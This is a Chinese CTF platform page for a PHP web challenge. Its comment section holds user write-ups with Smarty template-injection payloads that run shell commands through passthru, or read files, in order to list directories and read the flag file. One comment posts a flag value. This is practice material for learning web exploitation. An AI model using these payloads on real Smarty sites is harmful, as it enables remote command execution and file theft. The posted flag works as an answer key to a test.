聪明的phpWEB 未解决

分数: 25 金币: 2
题目作者: midi
一  血: Lazzaro
一血奖励: 3金币
解  决: 3570
提  示:
描  述:
聪明的php
评论
haker111 1年前

看提示直接传值:?a,然后看到源码后进行解析,了解smarty模板。进行get传参,?a={if passthru('ls')}{/if} 查看当前目录,然后转到根目录下,?a={if passthru('ls /')}{/if},每个人的根目录下的第一个子目录不同,所以flag不同,查看第一目录?a=?a={if passthru('tac /_2096')}{/if},得到flag{...}

回复 1

XRain 1年前

没想起来 PHP 还有什么函数可以执行命令。不过,我用 scandir() 和 show_source() 就完成挑战了。 /?a={var_dump(scandir("/"))} 和 /?a={show_source("/_6583")}

回复 0

冯飞99 2年前

根据给出的提示发现可以通过/?回显得到源码,然后找到chatgpt解析一下源码,得知需要模板注入,构成payload,找到第二个源码再次让gpt翻译一下,得知在根目录下有个-数字的文件,由于cat命令用不了,使用tac命令查看得到flag。

回复 0

wxy1343 2年前

flag{d1342dda94d2f2b93118ff43530dcf77}

回复 0

YZ_86 2年前

bp抓包提交参数后会返回代码,根据代码可以发现有命令执行且过滤了哪几个函数{1*2}会发现返回2,这个时候用命令执行{passthru('ls /')},记得url转码,会发现返回结果有个图出的文件,cat被过滤了,用more查看就好{passthru('more /文件名')}。觉得清楚记得点赞,让更多人看到

回复 9

s1amese 2年前

/?w={{passthru("ls /")}} /?w={{passthru("more /_数字文件名")}}

回复 0

s1amese 2年前

passthru执行函数查看(ls),然后再查看列出的数字文件

回复 0

gleason 2年前

index.php?a={{passthru('more ../../../*|grep ff')}}

回复 0

Whittebz 2年前

{lf passthru("tac /_*")}{/if}

回复 0

Vio1et 2年前

哪位大神告诉我为什么{var_dump(`ls`)}不行

回复 0

WriteUp

image
midi

3 金币

评分(13)

解题动态

zhuyh69 攻破了该题 10小时前
huangyujie 攻破了该题 12小时前
aaaaab 攻破了该题 1天前
那天晚风和她 攻破了该题 1天前
姥姥 攻破了该题 2天前
欲语泪先流 攻破了该题 2天前
zhuzhu123 攻破了该题 3天前
stragon 攻破了该题 4天前
聪10011 攻破了该题 4天前
孙燕姿圈外男友 攻破了该题 5天前
ctfldc 攻破了该题 6天前
xqew 攻破了该题 6天前
muzijinming 攻破了该题 6天前
lin666 攻破了该题 6天前
小城阿扬 攻破了该题 7天前
zeeker001 攻破了该题 8天前
spicyburger 攻破了该题 10天前
eason2023 攻破了该题 10天前
baotou91 攻破了该题 11天前
zdevelop 攻破了该题 12天前
问题反馈